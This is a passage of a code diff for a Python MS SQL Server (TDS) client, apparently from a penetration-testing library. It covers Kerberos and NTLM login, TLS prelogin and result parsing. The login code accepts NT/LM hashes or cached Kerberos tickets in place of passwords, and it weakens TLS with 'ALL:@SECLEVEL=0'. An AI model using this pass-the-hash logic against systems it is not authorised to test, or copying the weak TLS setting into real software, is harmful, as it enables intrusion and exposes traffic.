+                    tls.do_handshake()
+                except SSL.WantReadError:
+                    data = tls.bio_read(4096)
+                    self.sendTDS(TDS_PRE_LOGIN, data,0)
+                    tds = self.recvTDS()
+                    tls.bio_write(tds['Data'])
+                else:
+                    break
+
+            # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
+            # Transport Layer Security(TLS), limit data fragments to 16k in size.
+            self.packetSize = 16*1024-1
+            self.tlsSocket = tls
+
+
+        login = TDS_LOGIN()
+
+        login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')
+        login['AppName']  = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le')
+        login['ServerName'] = self.server.encode('utf-16le')
+        login['CltIntName']  = login['AppName']
+        login['ClientPID'] = random.randint(0,1024)
+        login['PacketSize'] = self.packetSize
+        if database is not None:
+            login['Database'] = database.encode('utf-16le')
+        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON
+
+        from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
+        # Importing down here so pyasn1 is not required if kerberos is not used.
+        from impacket.krb5.ccache import CCache
+        from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
+        from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError
+        from impacket.krb5 import constants
+        from impacket.krb5.types import Principal, KerberosTime, Ticket
+        from pyasn1.codec.der import decoder, encoder
+        from pyasn1.type.univ import noValue
+        import datetime
+
+        if useCache:
+            domain, username, TGT, TGS = CCache.parseFile(domain, username, 'MSSQLSvc/%s:%d' % (self.server, self.port))
+
+            if TGS is None:
+                # search for the port's instance name instead (instance name based SPN)
+                LOG.debug('Searching target\'s instances to look for port number %s' % self.port)
+                instances = self.getInstances()
+                instanceName = None
+                for i in instances:
+                    try:
+                        if int(i['tcp']) == self.port:
+                            instanceName = i['InstanceName']
+                    except Exception as e:
+                        pass
+
+                if instanceName:
+                    domain, username, TGT, TGS = CCache.parseFile(domain, username, 'MSSQLSvc/%s.%s:%s' % (self.server.split('.')[0], domain, instanceName))
+
+        # First of all, we need to get a TGT for the user
+        userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+        while True:
+            if TGT is None:
+                if TGS is None:
+                    try:
+                        tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost)
+                    except KerberosError as e:
+                        if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                            # We might face this if the target does not support AES
+                            # So, if that's the case we'll force using RC4 by converting
+                            # the password to lm/nt hashes and hope for the best. If that's already
+                            # done, byebye.
+                            if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None:
+                                from impacket.ntlm import compute_lmhash, compute_nthash
+                                LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
+                                lmhash = compute_lmhash(password)
+                                nthash = compute_nthash(password)
+                                continue
+                            else:
+                                raise
+                        else:
+                            raise
+            else:
+                tgt = TGT['KDC_REP']
+                cipher = TGT['cipher']
+                sessionKey = TGT['sessionKey']
+
+            if TGS is None:
+                # From https://msdn.microsoft.com/en-us/library/ms191153.aspx?f=255&MSPPError=-2147217396
+                # Beginning with SQL Server 2008, the SPN format is changed in order to support Kerberos authentication
+                # on TCP/IP, named pipes, and shared memory. The supported SPN formats for named and default instances
+                # are as follows.
+                # Named instance
+                #     MSSQLSvc/FQDN:[port | instancename], where:
+                #         MSSQLSvc is the service that is being registered.
+                #         FQDN is the fully qualified domain name of the server.
+                #         port is the TCP port number.
+                #         instancename is the name of the SQL Server instance.
+                serverName = Principal('MSSQLSvc/%s.%s:%d' % (self.server.split('.')[0], domain, self.port), type=constants.PrincipalNameType.NT_SRV_INST.value)
+                try:
+                    tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey)
+                except KerberosError as e:
+                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
+                        # We might face this if the target does not support AES
+                        # So, if that's the case we'll force using RC4 by converting
+                        # the password to lm/nt hashes and hope for the best. If that's already
+                        # done, byebye.
+                        if lmhash == '' and nthash == '' and (aesKey == '' or aesKey is None) and TGT is None and TGS is None:
+                            from impacket.ntlm import compute_lmhash, compute_nthash
+                            LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4')
+                            lmhash = compute_lmhash(password)
+                            nthash = compute_nthash(password)
+                        else:
+                            raise
+                    else:
+                        raise
+                else:
+                    break
+            else:
+                tgs = TGS['KDC_REP']
+                cipher = TGS['cipher']
+                sessionKey = TGS['sessionKey']
+                break
+
+        # Let's build a NegTokenInit with a Kerberos REQ_AP
+
+        blob = SPNEGO_NegTokenInit()
+
+        # Kerberos
+        blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
+
+        # Let's extract the ticket from the TGS
+        tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0]
+        ticket = Ticket()
+        ticket.from_asn1(tgs['ticket'])
+
+        # Now let's build the AP_REQ
+        apReq = AP_REQ()
+        apReq['pvno'] = 5
+        apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = list()
+        apReq['ap-options'] = constants.encodeFlags(opts)
+        seq_set(apReq,'ticket', ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator['authenticator-vno'] = 5
+        authenticator['crealm'] = domain
+        seq_set(authenticator, 'cname', userName.components_to_asn1)
+        now = datetime.datetime.utcnow()
+
+        authenticator['cusec'] = now.microsecond
+        authenticator['ctime'] = KerberosTime.to_asn1(now)
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 11
+        # AP-REQ Authenticator (includes application authenticator
+        # subkey), encrypted with the application session key
+        # (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
+
+        apReq['authenticator'] = noValue
+        apReq['authenticator']['etype'] = cipher.enctype
+        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
+
+        blob['MechToken'] = encoder.encode(apReq)
+
+        login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
+
+        login['SSPI'] = blob.getData()
+        login['Length'] = len(login.getData())
+
+        # Send the NTLMSSP Negotiate or SQL Auth Packet
+        self.sendTDS(TDS_LOGIN7, login.getData())
+
+        # According to the specs, if encryption is not required, we must encrypt just
+        # the first Login packet :-o
+        if resp['Encryption'] == TDS_ENCRYPT_OFF:
+            self.tlsSocket = None
+
+        tds = self.recvTDS()
+
+        self.replies = self.parseReply(tds['Data'])
+
+        if TDS_LOGINACK_TOKEN in self.replies:
+            return True
+        else:
+            return False
+
+    def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False):
+
+        if hashes is not None:
+            lmhash, nthash = hashes.split(':')
+            lmhash = binascii.a2b_hex(lmhash)
+            nthash = binascii.a2b_hex(nthash)
+        else:
+            lmhash = ''
+            nthash = ''
+
+        resp = self.preLogin()
+        # Test this!
+        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
+            LOG.info("Encryption required, switching to TLS")
+
+            # Switching to TLS now
+            ctx = SSL.Context(SSL.TLS_METHOD)
+            ctx.set_cipher_list('ALL:@SECLEVEL=0'.encode('utf-8'))
+            tls = SSL.Connection(ctx,None)
+            tls.set_connect_state()
+            while True:
+                try:
+                    tls.do_handshake()
+                except SSL.WantReadError:
+                    data = tls.bio_read(4096)
+                    self.sendTDS(TDS_PRE_LOGIN, data,0)
+                    tds = self.recvTDS()
+                    tls.bio_write(tds['Data'])
+                else:
+                    break
+
+            # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement, 
+            # Transport Layer Security(TLS), limit data fragments to 16k in size.
+            self.packetSize = 16*1024-1
+            self.tlsSocket = tls 
+
+
+        login = TDS_LOGIN()
+
+        login['HostName'] = (''.join([random.choice(string.ascii_letters) for i in range(8)])).encode('utf-16le')
+        login['AppName']  = (''.join([random.choice(string.ascii_letters) for i in range(8)])).encode('utf-16le')
+        login['ServerName'] = self.server.encode('utf-16le')
+        login['CltIntName']  = login['AppName']
+        login['ClientPID'] = random.randint(0,1024)
+        login['PacketSize'] = self.packetSize
+        if database is not None:
+            login['Database'] = database.encode('utf-16le')
+        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON
+
+        if useWindowsAuth is True:
+            login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
+            # NTLMSSP Negotiate
+            auth = ntlm.getNTLMSSPType1('','')
+            login['SSPI'] = auth.getData()
+        else:
+            login['UserName'] = username.encode('utf-16le')
+            login['Password'] = self.encryptPassword(password.encode('utf-16le'))
+            login['SSPI'] = ''
+
+
+        login['Length'] = len(login.getData())
+
+        # Send the NTLMSSP Negotiate or SQL Auth Packet
+        self.sendTDS(TDS_LOGIN7, login.getData())
+
+        # According to the specs, if encryption is not required, we must encrypt just 
+        # the first Login packet :-o 
+        if resp['Encryption'] == TDS_ENCRYPT_OFF:
+            self.tlsSocket = None
+
+        tds = self.recvTDS()
+
+
+        if useWindowsAuth is True:
+            serverChallenge = tds['Data'][3:]
+
+            # Generate the NTLM ChallengeResponse AUTH 
+            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash)
+
+            self.sendTDS(TDS_SSPI, type3.getData())
+            tds = self.recvTDS()
+
+        self.replies = self.parseReply(tds['Data'])
+
+        if TDS_LOGINACK_TOKEN in self.replies:
+            return True
+        else:
+            return False
+
+
+    def processColMeta(self):
+        for col in self.colMeta:
+            if col['Type'] in [TDS_NVARCHARTYPE, TDS_NCHARTYPE, TDS_NTEXTTYPE]:
+                col['Length'] = col['TypeData']//2
+                fmt = '%%-%ds' 
+            elif col['Type'] in [TDS_GUIDTYPE]:
+                col['Length'] = 36
+                fmt = '%%%ds' 
+            elif col['Type'] in [TDS_DECIMALNTYPE,TDS_NUMERICNTYPE]:
+                col['Length'] = ord(col['TypeData'][0:1])
+                fmt = '%%%ds' 
+            elif col['Type'] in [TDS_DATETIMNTYPE]:
+                col['Length'] = 19
+                fmt = '%%-%ds' 
+            elif col['Type'] in [TDS_INT4TYPE, TDS_INTNTYPE]:
+                col['Length'] = 11
+                fmt = '%%%ds' 
+            elif col['Type'] in [TDS_FLTNTYPE, TDS_MONEYNTYPE]:
+                col['Length'] = 25
+                fmt = '%%%ds' 
+            elif col['Type'] in [TDS_BITNTYPE, TDS_BIGCHARTYPE]:
+                col['Length'] = col['TypeData']
+                fmt = '%%%ds' 
+            elif col['Type'] in [TDS_BIGBINARYTYPE, TDS_BIGVARBINTYPE]:
+                col['Length'] = col['TypeData'] * 2
+                fmt = '%%%ds' 
+            elif col['Type'] in [TDS_TEXTTYPE, TDS_BIGVARCHRTYPE]:
+                col['Length'] = col['TypeData']
+                fmt = '%%-%ds'
+            else:
+                col['Length'] = 10
+                fmt = '%%%ds'
+
+            if len(col['Name']) > col['Length']:
+                col['Length'] = len(col['Name'])
+            elif col['Length'] > self.MAX_COL_LEN:
+                col['Length'] = self.MAX_COL_LEN
+
+            col['Format'] = fmt % col['Length']
+
+
+    def printColumnsHeader(self):
+        if len(self.colMeta) == 0:
+            return
+        for col in self.colMeta:
+            self.__rowsPrinter.logMessage(col['Format'] % col['Name'] + self.COL_SEPARATOR)
+        self.__rowsPrinter.logMessage('\n')
+        for col in self.colMeta:
+            self.__rowsPrinter.logMessage('-'*col['Length'] + self.COL_SEPARATOR)
+        self.__rowsPrinter.logMessage('\n')
+
+
+    def printRows(self):
+        if self.lastError is True:
+            return
+        self.processColMeta()
+        self.printColumnsHeader()
+        for row in self.rows:
+            for col in self.colMeta:
+                self.__rowsPrinter.logMessage(col['Format'] % row[col['Name']] + self.COL_SEPARATOR)
+            self.__rowsPrinter.logMessage('\n')
+
+    def printReplies(self):
+        for keys in list(self.replies.keys()):
+            for i, key in enumerate(self.replies[keys]):
+                if key['TokenType'] == TDS_ERROR_TOKEN:
+                    error =  "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))                                      
+                    self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
+                    LOG.error(error)
+
+                elif key['TokenType'] == TDS_INFO_TOKEN:
+                    LOG.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
+
+                elif key['TokenType'] == TDS_LOGINACK_TOKEN:
+                    LOG.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
+
+                elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
+                    if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
+                        record = TDS_ENVCHANGE_VARCHAR(key['Data'])
+                        if record['OldValue'] == '':
+                            record['OldValue'] = 'None'.encode('utf-16le')
+                        elif record['NewValue'] == '':
+                            record['NewValue'] = 'None'.encode('utf-16le')
+                        if key['Type'] == TDS_ENVCHANGE_DATABASE:
+                            _type = 'DATABASE'
+                        elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
+                            _type = 'LANGUAGE'
+                        elif key['Type'] == TDS_ENVCHANGE_CHARSET:
+                            _type = 'CHARSET'
+                        elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE:
+                            _type = 'PACKETSIZE'
+                        else:
+                            _type = "%d" % key['Type']                 
+                        LOG.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le')))
+       
+    def parseRow(self,token,tuplemode=False):
+        # TODO: This REALLY needs to be improved. Right now we don't support correctly all the data types
+        # help would be appreciated ;) 
+        if len(token) == 1:
+            return 0
+
+        row = [] if tuplemode else {}
+
+        origDataLen = len(token['Data'])
+        data = token['Data']
+        for col in self.colMeta:
+            _type = col['Type']
+            if (_type == TDS_NVARCHARTYPE) |\
+               (_type == TDS_NCHARTYPE):
+                #print "NVAR 0x%x" % _type
+                charLen = struct.unpack('<H',data[:struct.calcsize('<H')])[0]
+                data = data[struct.calcsize('<H'):]
+                if charLen != 0xFFFF:
+                    value = data[:charLen].decode('utf-16le')
+                    data = data[charLen:]
+                else:
+                    value = 'NULL'
+
+            elif _type == TDS_BIGVARCHRTYPE:
+                charLen = struct.unpack('<H',data[:struct.calcsize('<H')])[0]
+                data = data[struct.calcsize('<H'):]
+                if charLen != 0xFFFF:
+                    value = data[:charLen]
+                    data = data[charLen:]
+                else:
+                    value = 'NULL'
+
+            elif _type == TDS_GUIDTYPE:
+                uuidLen = ord(data[0:1])
+                data = data[1:]
+                if uuidLen > 0:
+                    uu = data[:uuidLen]
+                    value = uuid.bin_to_string(uu)
+                    data = data[uuidLen:]
+                else:
+                    value = 'NULL'
+                
+            elif (_type == TDS_NTEXTTYPE) |\
+                 (_type == TDS_IMAGETYPE) :
+                # Skip the pointer data
+                charLen = ord(data[0:1])
+                if charLen == 0:
+                    value = 'NULL'
+                    data = data[1:]
+                else:
+                    data = data[1+charLen+8:]
+                    charLen = struct.unpack('<L',data[:struct.calcsize('<L')])[0]
+                    data = data[struct.calcsize('<L'):]
+                    if charLen != 0xFFFF:
+                        if _type == TDS_NTEXTTYPE:
+                            value = data[:charLen].decode('utf-16le')
+                        else:
+                            value = binascii.b2a_hex(data[:charLen])
+                        data = data[charLen:]
+                    else:
+                        value = 'NULL'
+                
+            elif _type == TDS_TEXTTYPE:
+                # Skip the pointer data
+                charLen = ord(data[0:1])
+                if charLen == 0:
+                    value = 'NULL'
+                    data = data[1:]
+                else:
+                    data = data[1+charLen+8:]
+                    charLen = struct.unpack('<L',data[:struct.calcsize('<L')])[0]
+                    data = data[struct.calcsize('<L'):]
+                    if charLen != 0xFFFF:
+                        value = data[:charLen]
+                        data = data[charLen:]
+                    else:
+                        value = 'NULL'
+
+            elif (_type == TDS_BIGVARBINTYPE) |\
+                 (_type == TDS_BIGBINARYTYPE):
+                charLen = struct.unpack('<H',data[:struct.calcsize('<H')])[0]
+                data = data[struct.calcsize('<H'):]
+                if charLen != 0xFFFF:
+                    value = binascii.b2a_hex(data[:charLen])
+                    data = data[charLen:]
+                else:
+                    value = 'NULL'
+
+            elif (_type == TDS_DATETIM4TYPE) |\
+                 (_type == TDS_DATETIMNTYPE) |\
+                 (_type == TDS_DATETIMETYPE):
+                value = ''    
+                if _type == TDS_DATETIMNTYPE:
+                    # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and
+                    # datetime SQL data _types respectively.
+                    if ord(data[0:1]) == 4:
+                        _type = TDS_DATETIM4TYPE
+                    elif ord(data[0:1]) == 8:
+                        _type = TDS_DATETIMETYPE
+                    else:
+                        value = 'NULL'
+                    data = data[1:]
+                if _type == TDS_DATETIMETYPE:
+                    # datetime is represented in the following sequence:
+                    # * One 4-byte signed integer that represents the number of days since January 1, 1900. Negative
+                    #   numbers are allowed to represents dates since January 1, 1753.
+                    # * One 4-byte unsigned integer that represents the number of one three-hundredths of a second
+                    #  (300 counts per second) elapsed since 12 AM that day.
+                    dateValue = struct.unpack('<l',data[:4])[0]
+                    data = data[4:]
+                    if dateValue < 0:
+                        baseDate = datetime.date(1753,1,1)
+                    else:
+                        baseDate = datetime.date(1900,1,1)
+                    timeValue = struct.unpack('<L',data[:4])[0]
+                    data = data[4:] 
+                elif _type == TDS_DATETIM4TYPE:
+                    # Small datetime
+                    # 2.2.5.5.1.8
+                    # Date/Times
+                    # smalldatetime is represented in the following sequence:
+                    # * One 2-byte unsigned integer that represents the number of days since January 1, 1900.
+                    # * One 2-byte unsigned integer that represents the number of minutes elapsed since 12 AM that
+                    #   day.
+                    dateValue = struct.unpack('<H',data[:struct.calcsize('<H')])[0]
+                    data = data[struct.calcsize('<H'):]
+                    timeValue = struct.unpack('<H',data[:struct.calcsize('<H')])[0]
+                    data = data[struct.calcsize('<H'):]
+                    baseDate = datetime.date(1900,1,1)
+                if value != 'NULL':
+                    dateValue = datetime.date.fromordinal(baseDate.toordinal() + dateValue)
+                    hours, mod = divmod(timeValue//300, 60*60)
+                    minutes, second = divmod(mod, 60)
+                    value = datetime.datetime(dateValue.year, dateValue.month, dateValue.day, hours, minutes, second)
+
+            elif (_type == TDS_INT4TYPE) |\
+                 (_type == TDS_MONEY4TYPE) |\
+                 (_type == TDS_FLT4TYPE):
+                #print "INT4"
+                value = struct.unpack('<l',data[:struct.calcsize('<l')])[0]
+                data = data[struct.calcsize('<l'):]
+
+            elif _type == TDS_FLTNTYPE:
+                valueSize = ord(data[:1])
+                if valueSize == 4:
+                    fmt = '<f'
+                elif valueSize == 8:
+                    fmt = '<d'
+
+                data = data[1:]
+
+                if valueSize > 0:
+                    value = struct.unpack(fmt,data[:valueSize])[0]
+                    data = data[valueSize:]
+                else:
+                    value = 'NULL'
+
+            elif _type == TDS_MONEYNTYPE:
+                valueSize = ord(data[:1])
+                if valueSize == 4:
+                    fmt = '<l'
+                elif valueSize == 8:
+                    fmt = '<q'
+
+                data = data[1:]
+
+                if valueSize > 0:
+                    value = struct.unpack(fmt,data[:valueSize])[0]
+                    if valueSize == 4:
+                        value = float(value) // math.pow(10,4)
+                    else:
+                        value = float(value >> 32) // math.pow(10,4)
+                    data = data[valueSize:]
+                else:
+                    value = 'NULL'
+
+                
+            elif _type == TDS_BIGCHARTYPE:
+                #print "BIGC"
+                charLen = struct.unpack('<H',data[:struct.calcsize('<H')])[0]
+                data = data[struct.calcsize('<H'):]
+                value = data[:charLen]
+                data = data[charLen:]
+
+            elif (_type == TDS_INT8TYPE) |\
+                 (_type == TDS_FLT8TYPE) |\
+                 (_type == TDS_MONEYTYPE):
+                #print "DATETIME"
+                value = struct.unpack('<q',data[:struct.calcsize('<q')])[0]
+                data = data[struct.calcsize('<q'):]
+
+
+            elif _type == TDS_INT2TYPE:
+                #print "INT2TYPE"
+                value = struct.unpack('<H',(data[:2]))[0]
+                data = data[2:]
+
+            elif _type == TDS_DATENTYPE:
+                # date is represented as one 3-byte unsigned integer that represents the number of days since
+                # January 1, year 1.
+                valueSize = ord(data[:1])
+                data = data[1:]
+                if valueSize > 0:
+                    dateBytes = data[:valueSize]
+                    dateValue = struct.unpack('<L','\x00'+dateBytes)[0]
+                    value = datetime.date.fromtimestamp(dateValue)
+                    data = data[valueSize:]
+                else:
+                    value = 'NULL'
+
+            elif (_type == TDS_BITTYPE) |\
+                 (_type == TDS_INT1TYPE):
+                #print "BITTYPE"
+                value = ord(data[:1])
+                data = data[1:]
+
+            elif (_type == TDS_NUMERICNTYPE) |\
+                 (_type == TDS_DECIMALNTYPE):
+                valueLen = ord(data[:1])
+                data = data[1:]
+                value = data[:valueLen]
+                data = data[valueLen:]
+                precision = ord(col['TypeData'][1:2])
+                scale = ord(col['TypeData'][2:3])
+                if valueLen > 0:
+                    isPositiveSign = ord(value[0:1])
+                    if (valueLen-1) == 2:
+                        fmt = '<H'
+                    elif (valueLen-1) == 4:
+                        fmt = '<L'
+                    elif (valueLen-1) == 8:
+                        fmt = '<Q'
+                    else:
+                        # Still don't know how to handle higher values
+                        value = "TODO: Interpret TDS_NUMERICNTYPE correctly"
+                    number = struct.unpack(fmt, value[1:])[0]
+                    number //= math.pow(precision, scale)
+                    if isPositiveSign == 0:
+                        number *= -1 
+                    value = number
+                else:
+                    value = 'NULL'
+
+            elif _type == TDS_BITNTYPE:
+                #print "BITNTYPE"
+                valueSize = ord(data[:1])
+                data = data[1:]
+                if valueSize > 0:
+                    if valueSize == 1:
+                        value = ord(data[:valueSize])
+                    else:
+                        value = data[:valueSize]
+                else:
+                    value = 'NULL'
+                data = data[valueSize:]
+
+            elif _type == TDS_INTNTYPE:
+                valueSize = ord(data[:1])
+                if valueSize == 1:
+                    fmt = '<B'
+                elif valueSize == 2:
+                    fmt = '<h'
+                elif valueSize == 4:
+                    fmt = '<l'
+                elif valueSize == 8:
+                    fmt = '<q'
+                else:
+                    fmt = ''
+
+                data = data[1:]
+
+                if valueSize > 0:
+                    value = struct.unpack(fmt,data[:valueSize])[0]
+                    data = data[valueSize:]
+                else:
+                    value = 'NULL'
+            elif _type == TDS_SSVARIANTTYPE:
+                raise Exception("ParseRow: SQL Variant type not yet supported :(")
+            else:
+                raise Exception("ParseROW: Unsupported data type: 0%x" % _type)
+
+            if tuplemode:
+                row.append(value)
+            else:
+                row[col['Name']] = value
+
+
+        self.rows.append(row)
+
+        return origDataLen - len(data)
+
+    def parseColMetaData(self, token):
+        # TODO Add support for more data types!
+        count = token['Count']
+        if count == 0xFFFF:
+            return 0
+
+        self.colMeta = []
+        origDataLen = len(token['Data'])
+        data = token['Data']
+        for i in range(count):
+            column = {}
+            userType = struct.unpack('<H',data[:struct.calcsize('<H')])[0]
+            data = data[struct.calcsize('<H'):]
+            flags = struct.unpack('<H',data[:struct.calcsize('<H')])[0]
+            data = data[struct.calcsize('<H'):]
+            colType = struct.unpack('<B',data[:struct.calcsize('<B')])[0]
+            data = data[struct.calcsize('<B'):]
+            if (colType == TDS_BITTYPE)    |\
+                 (colType == TDS_INT1TYPE)   |\
+                 (colType == TDS_INT2TYPE)   |\
+                 (colType == TDS_INT8TYPE)   |\
+                 (colType == TDS_DATETIMETYPE) |\
+                 (colType == TDS_DATETIM4TYPE) |\
+                 (colType == TDS_FLT4TYPE)   |\
+                 (colType == TDS_FLT8TYPE)   |\
+                 (colType == TDS_MONEYTYPE)  |\
+                 (colType == TDS_MONEY4TYPE) |\
+                 (colType == TDS_DATENTYPE)  |\
+                 (colType == TDS_INT4TYPE):
+                typeData = ''
+            elif (colType == TDS_INTNTYPE) |\
+                 (colType == TDS_TIMENTYPE) |\
+                 (colType == TDS_DATETIME2NTYPE) |\
+                 (colType == TDS_DATETIMEOFFSETNTYPE) |\
+                 (colType == TDS_FLTNTYPE) |\
+                 (colType == TDS_MONEYNTYPE) |\
+                 (colType == TDS_GUIDTYPE) |\
+                 (colType == TDS_BITNTYPE):
+                typeData = ord(data[0:1])
+                data = data[1:]
+
+            elif colType == TDS_DATETIMNTYPE:
+                # For DATETIMNTYPE, the only valid lengths are 0x04 and 0x08, which map to smalldatetime and
+                # datetime SQL data types respectively.
+                typeData = ord(data[0:1])
+                data = data[1:]
+
+            elif (colType == TDS_BIGVARBINTYPE) |\
+                 (colType == TDS_BIGBINARYTYPE) |\
+                 (colType == TDS_NCHARTYPE)     |\
+                 (colType == TDS_NVARCHARTYPE)  |\
+                 (colType == TDS_BIGVARCHRTYPE) |\
+                 (colType == TDS_BIGCHARTYPE):
+                typeData = struct.unpack('<H',data[:2])[0]
+                data = data[2:]
+            elif (colType == TDS_DECIMALNTYPE) |\
+                 (colType == TDS_NUMERICNTYPE) |\
+                 (colType == TDS_DECIMALTYPE):
+                typeData = data[:3]
+                data = data[3:]
+            elif (colType == TDS_IMAGETYPE) |\
+                 (colType == TDS_TEXTTYPE) |\
+                 (colType == TDS_XMLTYPE)  |\
+                 (colType == TDS_SSVARIANTTYPE) |\
+                 (colType == TDS_NTEXTTYPE):
+                typeData = struct.unpack('<L',data[:4])[0]
+                data = data[4:]
+            else:
+                raise Exception("Unsupported data type: 0x%x" % colType)
+
+            # Collation exceptions:
+            if (colType == TDS_NTEXTTYPE) |\
+               (colType == TDS_BIGCHARTYPE)  |\
+               (colType == TDS_BIGVARCHRTYPE)  |\
+               (colType == TDS_NCHARTYPE)  |\
+               (colType == TDS_NVARCHARTYPE)  |\
+               (colType == TDS_TEXTTYPE):
+                # Skip collation
+                data = data[5:]
+
+            # PartTableName exceptions:
+            if (colType == TDS_IMAGETYPE) |\
+               (colType == TDS_TEXTTYPE) |\
+               (colType == TDS_NTEXTTYPE):
+                # This types have Table Elements, we just discard them for now.
+                # ToDo parse this correctly!
+                # Get the Length
+                dataLen = struct.unpack('<H',data[:2])[0]
+                data = data[2:]
+                # skip the text
+                data = data[dataLen*2:]
+
+            colNameLength = struct.unpack('<B',data[:struct.calcsize('<B')])[0]
+            data = data[struct.calcsize('<B'):]
+            colName = data[:colNameLength*2].decode('utf-16le')
+            data = data[colNameLength*2:]
+            column['Name'] = colName
+            column['Type'] = colType
+            column['TypeData'] = typeData
+            column['Flags'] = flags
+            self.colMeta.append(column)
+
+        return origDataLen - len(data)
+
+    def parseReply(self, tokens,tuplemode=False):
+        if len(tokens) == 0:
+            return False
+
+        replies = {} 
+        while len(tokens) > 0:
+            tokenID = struct.unpack('B',tokens[0:1])[0]
+            if tokenID == TDS_ERROR_TOKEN:
+                token = TDS_INFO_ERROR(tokens)
+            elif tokenID == TDS_RETURNSTATUS_TOKEN:
+                token = TDS_RETURNSTATUS(tokens)
+            elif tokenID == TDS_INFO_TOKEN:
+                token = TDS_INFO_ERROR(tokens)
+            elif tokenID == TDS_LOGINACK_TOKEN:
+                token = TDS_LOGIN_ACK(tokens)
+            elif tokenID == TDS_ENVCHANGE_TOKEN:
+                token = TDS_ENVCHANGE(tokens)
+                if token['Type'] is TDS_ENVCHANGE_PACKETSIZE:
+                    record = TDS_ENVCHANGE_VARCHAR(token['Data'])
+                    self.packetSize = int( record['NewValue'].decode('utf-16le') )
+                elif token['Type'] is TDS_ENVCHANGE_DATABASE:
+                    record = TDS_ENVCHANGE_VARCHAR(token['Data'])
+                    self.currentDB =  record['NewValue'].decode('utf-16le') 
+
+            elif (tokenID == TDS_DONEINPROC_TOKEN) |\
+                 (tokenID == TDS_DONEPROC_TOKEN): 
+                token = TDS_DONEINPROC(tokens)
+            elif tokenID == TDS_ORDER_TOKEN:
+                token = TDS_ORDER(tokens)
+            elif tokenID == TDS_ROW_TOKEN:
+                #print "ROW"
+                token = TDS_ROW(tokens)
+                tokenLen = self.parseRow(token,tuplemode)
+                token['Data'] = token['Data'][:tokenLen]
+            elif tokenID == TDS_COLMETADATA_TOKEN:
+                #print "COLMETA"
+                token = TDS_COLMETADATA(tokens)
+                tokenLen = self.parseColMetaData(token)
+                token['Data'] = token['Data'][:tokenLen]
+            elif tokenID == TDS_DONE_TOKEN:
+                token = TDS_DONE(tokens)
+            else:
+                LOG.error("Unknown Token %x" % tokenID)
+                return replies
+
+            if (tokenID in replies) is not True:
+                replies[tokenID] = list()
+
+            replies[tokenID].append(token)
+            tokens = tokens[len(token):]
+            #print "TYPE 0x%x, LEN: %d" %(tokenID, len(token))
+            #print repr(tokens[:10])
+
+        return replies
+
+    def batch(self, cmd,tuplemode=False,wait=True):
+        # First of all we clear the rows, colMeta and lastError
+        self.rows = []
+        self.colMeta = []
+        self.lastError = False
+        self.sendTDS(TDS_SQL_BATCH, (cmd+'\r\n').encode('utf-16le'))
+        if wait:
+            tds = self.recvTDS()
+            self.replies = self.parseReply(tds['Data'],tuplemode)
+            return self.rows
+        else:
+            return True
+        
+    
+    def batchStatement(self, cmd,tuplemode=False):
+        # First of all we clear the rows, colMeta and lastError
+        self.rows = []
+        self.colMeta = []
+        self.lastError = False
+        self.sendTDS(TDS_SQL_BATCH, (cmd+'\r\n').encode('utf-16le'))
+        #self.recvTDS()        
+
+            
+    # Handy alias
+    sql_query = batch
+
+    def changeDB(self, db):        
+        if db != self.currentDB:
+            chdb = 'use %s' % db            
+            self.batch(chdb)
+            self.printReplies()
+
+    def RunSQLQuery(self,db,sql_query,tuplemode=False,wait=True,**kwArgs):
+        db = db or 'master'
